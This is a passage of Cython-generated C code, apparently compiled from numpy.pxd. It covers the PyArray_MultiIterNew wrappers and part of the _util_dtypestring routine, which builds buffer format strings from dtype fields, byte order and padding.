__Pyx_RefNannySetupContext(\"PyArray_MultiIterNew2\", 0);\n\n  /* \"numpy.pxd\":772\n * \n * cdef inline object PyArray_MultiIterNew2(a, b):\n *     return PyArray_MultiIterNew(2, <void*>a, <void*>b)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew3(a, b, c):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(2, ((void *)__pyx_v_a), ((void *)__pyx_v_b)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 772; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew2\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":774\n *     return PyArray_MultiIterNew(2, <void*>a, <void*>b)\n * \n * cdef inline object PyArray_MultiIterNew3(a, b, c):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(3, <void*>a, <void*>b, <void*> c)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew3(PyObject *__pyx_v_a, PyObject *__pyx_v_b, PyObject *__pyx_v_c) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew3\", 0);\n\n  /* \"numpy.pxd\":775\n * \n * cdef inline object PyArray_MultiIterNew3(a, b, c):\n *     return PyArray_MultiIterNew(3, <void*>a, <void*>b, <void*> c)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew4(a, b, c, d):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(3, ((void *)__pyx_v_a), ((void *)__pyx_v_b), ((void *)__pyx_v_c)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 775; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew3\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":777\n *     return PyArray_MultiIterNew(3, <void*>a, <void*>b, <void*> c)\n * \n * cdef inline object PyArray_MultiIterNew4(a, b, c, d):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(4, <void*>a, <void*>b, <void*>c, <void*> d)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew4(PyObject *__pyx_v_a, PyObject *__pyx_v_b, PyObject *__pyx_v_c, PyObject *__pyx_v_d) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew4\", 0);\n\n  /* \"numpy.pxd\":778\n * \n * cdef inline object PyArray_MultiIterNew4(a, b, c, d):\n *     return PyArray_MultiIterNew(4, <void*>a, <void*>b, <void*>c, <void*> d)             # <<<<<<<<<<<<<<\n * \n * cdef inline object PyArray_MultiIterNew5(a, b, c, d, e):\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(4, ((void *)__pyx_v_a), ((void *)__pyx_v_b), ((void *)__pyx_v_c), ((void *)__pyx_v_d)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 778; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew4\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":780\n *     return PyArray_MultiIterNew(4, <void*>a, <void*>b, <void*>c, <void*> d)\n * \n * cdef inline object PyArray_MultiIterNew5(a, b, c, d, e):             # <<<<<<<<<<<<<<\n *     return PyArray_MultiIterNew(5, <void*>a, <void*>b, <void*>c, <void*> d, <void*> e)\n * \n */\n\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew5(PyObject *__pyx_v_a, PyObject *__pyx_v_b, PyObject *__pyx_v_c, PyObject *__pyx_v_d, PyObject *__pyx_v_e) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"PyArray_MultiIterNew5\", 0);\n\n  /* \"numpy.pxd\":781\n * \n * cdef inline object PyArray_MultiIterNew5(a, b, c, d, e):\n *     return PyArray_MultiIterNew(5, <void*>a, <void*>b, <void*>c, <void*> d, <void*> e)             # <<<<<<<<<<<<<<\n * \n * cdef inline char* _util_dtypestring(dtype descr, char* f, char* end, int* offset) except NULL:\n */\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyArray_MultiIterNew(5, ((void *)__pyx_v_a), ((void *)__pyx_v_b), ((void *)__pyx_v_c), ((void *)__pyx_v_d), ((void *)__pyx_v_e)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 781; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"numpy.PyArray_MultiIterNew5\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"numpy.pxd\":783\n *     return PyArray_MultiIterNew(5, <void*>a, <void*>b, <void*>c, <void*> d, <void*> e)\n * \n * cdef inline char* _util_dtypestring(dtype descr, char* f, char* end, int* offset) except NULL:             # <<<<<<<<<<<<<<\n *     # Recursive utility function used in __getbuffer__ to get format\n *     # string. The new location in the format string is returned.\n */\n\nstatic CYTHON_INLINE char *__pyx_f_5numpy__util_dtypestring(PyArray_Descr *__pyx_v_descr, char *__pyx_v_f, char *__pyx_v_end, int *__pyx_v_offset) {\n  PyArray_Descr *__pyx_v_child = 0;\n  int __pyx_v_endian_detector;\n  int __pyx_v_little_endian;\n  PyObject *__pyx_v_fields = 0;\n  PyObject *__pyx_v_childname = NULL;\n  PyObject *__pyx_v_new_offset = NULL;\n  PyObject *__pyx_v_t = NULL;\n  char *__pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  Py_ssize_t __pyx_t_2;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  PyObject *__pyx_t_5 = NULL;\n  PyObject *(*__pyx_t_6)(PyObject *);\n  int __pyx_t_7;\n  int __pyx_t_8;\n  int __pyx_t_9;\n  int __pyx_t_10;\n  long __pyx_t_11;\n  char *__pyx_t_12;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"_util_dtypestring\", 0);\n\n  /* \"numpy.pxd\":790\n *     cdef int delta_offset\n *     cdef tuple i\n *     cdef int endian_detector = 1             # <<<<<<<<<<<<<<\n *     cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)\n *     cdef tuple fields\n */\n  __pyx_v_endian_detector = 1;\n\n  /* \"numpy.pxd\":791\n *     cdef tuple i\n *     cdef int endian_detector = 1\n *     cdef bint little_endian = ((<char*>&endian_detector)[0] != 0)             # <<<<<<<<<<<<<<\n *     cdef tuple fields\n * \n */\n  __pyx_v_little_endian = ((((char *)(&__pyx_v_endian_detector))[0]) != 0);\n\n  /* \"numpy.pxd\":794\n *     cdef tuple fields\n * \n *     for childname in descr.names:             # <<<<<<<<<<<<<<\n *         fields = descr.fields[childname]\n *         child, new_offset = fields\n */\n  if (unlikely(((PyObject *)__pyx_v_descr->names) == Py_None)) {\n    PyErr_SetString(PyExc_TypeError, \"'NoneType' object is not iterable\");\n    {__pyx_filename = __pyx_f[1]; __pyx_lineno = 794; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  }\n  __pyx_t_1 = ((PyObject *)__pyx_v_descr->names); __Pyx_INCREF(__pyx_t_1); __pyx_t_2 = 0;\n  for (;;) {\n    if (__pyx_t_2 >= PyTuple_GET_SIZE(__pyx_t_1)) break;\n    #if CYTHON_COMPILING_IN_CPYTHON\n    __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_2); __Pyx_INCREF(__pyx_t_3); __pyx_t_2++; if (unlikely(0 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 794; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    #else\n    __pyx_t_3 = PySequence_ITEM(__pyx_t_1, __pyx_t_2); __pyx_t_2++; if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 794; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    #endif\n    __Pyx_XDECREF(__pyx_v_childname);\n    __pyx_v_childname = __pyx_t_3;\n    __pyx_t_3 = 0;\n\n    /* \"numpy.pxd\":795\n * \n *     for childname in descr.names:\n *         fields = descr.fields[childname]             # <<<<<<<<<<<<<<\n *         child, new_offset = fields\n * \n */\n    __pyx_t_3 = PyObject_GetItem(__pyx_v_descr->fields, __pyx_v_childname); if (!__pyx_t_3) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 795; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    if (!(likely(PyTuple_CheckExact(__pyx_t_3))||((__pyx_t_3) == Py_None)||(PyErr_Format(PyExc_TypeError, \"Expected tuple, got %.200s\", Py_TYPE(__pyx_t_3)->tp_name), 0))) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 795; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_XDECREF(((PyObject *)__pyx_v_fields));\n    __pyx_v_fields = ((PyObject*)__pyx_t_3);\n    __pyx_t_3 = 0;\n\n    /* \"numpy.pxd\":796\n *     for childname in descr.names:\n *         fields = descr.fields[childname]\n *         child, new_offset = fields             # <<<<<<<<<<<<<<\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:\n */\n    if (likely(PyTuple_CheckExact(((PyObject *)__pyx_v_fields)))) {\n      PyObject* sequence = ((PyObject *)__pyx_v_fields);\n      #if CYTHON_COMPILING_IN_CPYTHON\n      Py_ssize_t size = Py_SIZE(sequence);\n      #else\n      Py_ssize_t size = PySequence_Size(sequence);\n      #endif\n      if (unlikely(size != 2)) {\n        if (size > 2) __Pyx_RaiseTooManyValuesError(2);\n        else if (size >= 0) __Pyx_RaiseNeedMoreValuesError(size);\n        {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      }\n      #if CYTHON_COMPILING_IN_CPYTHON\n      __pyx_t_3 = PyTuple_GET_ITEM(sequence, 0); \n      __pyx_t_4 = PyTuple_GET_ITEM(sequence, 1); \n      __Pyx_INCREF(__pyx_t_3);\n      __Pyx_INCREF(__pyx_t_4);\n      #else\n      __pyx_t_3 = PySequence_ITEM(sequence, 0); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __pyx_t_4 = PySequence_ITEM(sequence, 1); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      #endif\n    } else if (1) {\n      __Pyx_RaiseNoneNotIterableError(); {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    } else\n    {\n      Py_ssize_t index = -1;\n      __pyx_t_5 = PyObject_GetIter(((PyObject *)__pyx_v_fields)); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_6 = Py_TYPE(__pyx_t_5)->tp_iternext;\n      index = 0; __pyx_t_3 = __pyx_t_6(__pyx_t_5); if (unlikely(!__pyx_t_3)) goto __pyx_L5_unpacking_failed;\n      __Pyx_GOTREF(__pyx_t_3);\n      index = 1; __pyx_t_4 = __pyx_t_6(__pyx_t_5); if (unlikely(!__pyx_t_4)) goto __pyx_L5_unpacking_failed;\n      __Pyx_GOTREF(__pyx_t_4);\n      if (__Pyx_IternextUnpackEndCheck(__pyx_t_6(__pyx_t_5), 2) < 0) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __pyx_t_6 = NULL;\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      goto __pyx_L6_unpacking_done;\n      __pyx_L5_unpacking_failed:;\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_6 = NULL;\n      if (__Pyx_IterFinish() == 0) __Pyx_RaiseNeedMoreValuesError(index);\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __pyx_L6_unpacking_done:;\n    }\n    if (!(likely(((__pyx_t_3) == Py_None) || likely(__Pyx_TypeTest(__pyx_t_3, __pyx_ptype_5numpy_dtype))))) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 796; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_XDECREF(((PyObject *)__pyx_v_child));\n    __pyx_v_child = ((PyArray_Descr *)__pyx_t_3);\n    __pyx_t_3 = 0;\n    __Pyx_XDECREF(__pyx_v_new_offset);\n    __pyx_v_new_offset = __pyx_t_4;\n    __pyx_t_4 = 0;\n\n    /* \"numpy.pxd\":798\n *         child, new_offset = fields\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:             # <<<<<<<<<<<<<<\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")\n * \n */\n    __pyx_t_4 = PyInt_FromLong((__pyx_v_end - __pyx_v_f)); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 798; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_4);\n    __pyx_t_3 = PyInt_FromLong((__pyx_v_offset[0])); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 798; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __pyx_t_5 = PyNumber_Subtract(__pyx_v_new_offset, __pyx_t_3); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 798; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_5);\n    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n    __pyx_t_3 = PyNumber_Subtract(__pyx_t_4, __pyx_t_5); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 798; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_3);\n    __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n    __pyx_t_5 = PyObject_RichCompare(__pyx_t_3, __pyx_int_15, Py_LT); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 798; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n    __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 798; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n    if (__pyx_t_7) {\n\n      /* \"numpy.pxd\":799\n * \n *         if (end - f) - (new_offset - offset[0]) < 15:\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")             # <<<<<<<<<<<<<<\n * \n *         if ((child.byteorder == c'>' and little_endian) or\n */\n      __pyx_t_5 = PyObject_Call(__pyx_builtin_RuntimeError, ((PyObject *)__pyx_k_tuple_14), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 799; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_Raise(__pyx_t_5, 0, 0, 0);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 799; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      goto __pyx_L7;\n    }\n    __pyx_L7:;\n\n    /* \"numpy.pxd\":801\n *             raise RuntimeError(u\"Format string allocated too short, see comment in numpy.pxd\")\n * \n *         if ((child.byteorder == c'>' and little_endian) or             # <<<<<<<<<<<<<<\n *             (child.byteorder == c'<' and not little_endian)):\n *             raise ValueError(u\"Non-native byte order not supported\")\n */\n    __pyx_t_7 = (__pyx_v_child->byteorder == '>');\n    if (__pyx_t_7) {\n      __pyx_t_8 = __pyx_v_little_endian;\n    } else {\n      __pyx_t_8 = __pyx_t_7;\n    }\n    if (!__pyx_t_8) {\n\n      /* \"numpy.pxd\":802\n * \n *         if ((child.byteorder == c'>' and little_endian) or\n *             (child.byteorder == c'<' and not little_endian)):             # <<<<<<<<<<<<<<\n *             raise ValueError(u\"Non-native byte order not supported\")\n *             # One could encode it in the format string and have Cython\n */\n      __pyx_t_7 = (__pyx_v_child->byteorder == '<');\n      if (__pyx_t_7) {\n        __pyx_t_9 = (!__pyx_v_little_endian);\n        __pyx_t_10 = __pyx_t_9;\n      } else {\n        __pyx_t_10 = __pyx_t_7;\n      }\n      __pyx_t_7 = __pyx_t_10;\n    } else {\n      __pyx_t_7 = __pyx_t_8;\n    }\n    if (__pyx_t_7) {\n\n      /* \"numpy.pxd\":803\n *         if ((child.byteorder == c'>' and little_endian) or\n *             (child.byteorder == c'<' and not little_endian)):\n *             raise ValueError(u\"Non-native byte order not supported\")             # <<<<<<<<<<<<<<\n *             # One could encode it in the format string and have Cython\n *             # complain instead, BUT: < and > in format strings also imply\n */\n      __pyx_t_5 = PyObject_Call(__pyx_builtin_ValueError, ((PyObject *)__pyx_k_tuple_15), NULL); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 803; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __Pyx_Raise(__pyx_t_5, 0, 0, 0);\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      {__pyx_filename = __pyx_f[1]; __pyx_lineno = 803; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      goto __pyx_L8;\n    }\n    __pyx_L8:;\n\n    /* \"numpy.pxd\":813\n * \n *         # Output padding bytes\n *         while offset[0] < new_offset:             # <<<<<<<<<<<<<<\n *             f[0] = 120 # \"x\"; pad byte\n *             f += 1\n */\n    while (1) {\n      __pyx_t_5 = PyInt_FromLong((__pyx_v_offset[0])); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 813; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_t_5, __pyx_v_new_offset, Py_LT); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 813; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 813; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (!__pyx_t_7) break;\n\n      /* \"numpy.pxd\":814\n *         # Output padding bytes\n *         while offset[0] < new_offset:\n *             f[0] = 120 # \"x\"; pad byte             # <<<<<<<<<<<<<<\n *             f += 1\n *             offset[0] += 1\n */\n      (__pyx_v_f[0]) = 120;\n\n      /* \"numpy.pxd\":815\n *         while offset[0] < new_offset:\n *             f[0] = 120 # \"x\"; pad byte\n *             f += 1             # <<<<<<<<<<<<<<\n *             offset[0] += 1\n * \n */\n      __pyx_v_f = (__pyx_v_f + 1);\n\n      /* \"numpy.pxd\":816\n *             f[0] = 120 # \"x\"; pad byte\n *             f += 1\n *             offset[0] += 1             # <<<<<<<<<<<<<<\n * \n *         offset[0] += child.itemsize\n */\n      __pyx_t_11 = 0;\n      (__pyx_v_offset[__pyx_t_11]) = ((__pyx_v_offset[__pyx_t_11]) + 1);\n    }\n\n    /* \"numpy.pxd\":818\n *             offset[0] += 1\n * \n *         offset[0] += child.itemsize             # <<<<<<<<<<<<<<\n * \n *         if not PyDataType_HASFIELDS(child):\n */\n    __pyx_t_11 = 0;\n    (__pyx_v_offset[__pyx_t_11]) = ((__pyx_v_offset[__pyx_t_11]) + __pyx_v_child->elsize);\n\n    /* \"numpy.pxd\":820\n *         offset[0] += child.itemsize\n * \n *         if not PyDataType_HASFIELDS(child):             # <<<<<<<<<<<<<<\n *             t = child.type_num\n *             if end - f < 5:\n */\n    __pyx_t_7 = (!PyDataType_HASFIELDS(__pyx_v_child));\n    if (__pyx_t_7) {\n\n      /* \"numpy.pxd\":821\n * \n *         if not PyDataType_HASFIELDS(child):\n *             t = child.type_num             # <<<<<<<<<<<<<<\n *             if end - f < 5:\n *                 raise RuntimeError(u\"Format string allocated too short.\")\n */\n      __pyx_t_3 = PyInt_FromLong(__pyx_v_child->type_num); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 821; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_XDECREF(__pyx_v_t);\n      __pyx_v_t = __pyx_t_3;\n      __pyx_t_3 = 0;\n\n      /* \"numpy.pxd\":822\n *         if not PyDataType_HASFIELDS(child):\n *             t = child.type_num\n *             if end - f < 5:             # <<<<<<<<<<<<<<\n *                 raise RuntimeError(u\"Format string allocated too short.\")\n * \n */\n      __pyx_t_7 = ((__pyx_v_end - __pyx_v_f) < 5);\n      if (__pyx_t_7) {\n\n        /* \"numpy.pxd\":823\n *             t = child.type_num\n *             if end - f < 5:\n *                 raise RuntimeError(u\"Format string allocated too short.\")             # <<<<<<<<<<<<<<\n * \n *             # Until ticket #99 is fixed, use integers to avoid warnings\n */\n        __pyx_t_3 = PyObject_Call(__pyx_builtin_RuntimeError, ((PyObject *)__pyx_k_tuple_17), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 823; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        __Pyx_GOTREF(__pyx_t_3);\n        __Pyx_Raise(__pyx_t_3, 0, 0, 0);\n        __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n        {__pyx_filename = __pyx_f[1]; __pyx_lineno = 823; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n        goto __pyx_L12;\n      }\n      __pyx_L12:;\n\n      /* \"numpy.pxd\":826\n * \n *             # Until ticket #99 is fixed, use integers to avoid warnings\n *             if   t == NPY_BYTE:        f[0] =  98 #\"b\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_BYTE); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 826; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 826; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 826; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 98;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":827\n *             # Until ticket #99 is fixed, use integers to avoid warnings\n *             if   t == NPY_BYTE:        f[0] =  98 #\"b\"\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n */\n      __pyx_t_5 = PyInt_FromLong(NPY_UBYTE); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 827; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_5);\n      __pyx_t_3 = PyObject_RichCompare(__pyx_v_t, __pyx_t_5, Py_EQ); __Pyx_XGOTREF(__pyx_t_3); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 827; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 827; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      if (__pyx_t_7) {\n        (__pyx_v_f[0]) = 66;\n        goto __pyx_L13;\n      }\n\n      /* \"numpy.pxd\":828\n *             if   t == NPY_BYTE:        f[0] =  98 #\"b\"\n *             elif t == NPY_UBYTE:       f[0] =  66 #\"B\"\n *             elif t == NPY_SHORT:       f[0] = 104 #\"h\"             # <<<<<<<<<<<<<<\n *             elif t == NPY_USHORT:      f[0] =  72 #\"H\"\n *             elif t == NPY_INT:         f[0] = 105 #\"i\"\n */\n      __pyx_t_3 = PyInt_FromLong(NPY_SHORT); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 828; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_5 = PyObject_RichCompare(__pyx_v_t, __pyx_t_3, Py_EQ); __Pyx_XGOTREF(__pyx_t_5); if (unlikely(!__pyx_t_5)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 828; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_5); if (unlikely(__pyx_t_7 < 0)) {__pyx_filename = __pyx_f[1]; __pyx_lineno = 828; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;\n      if 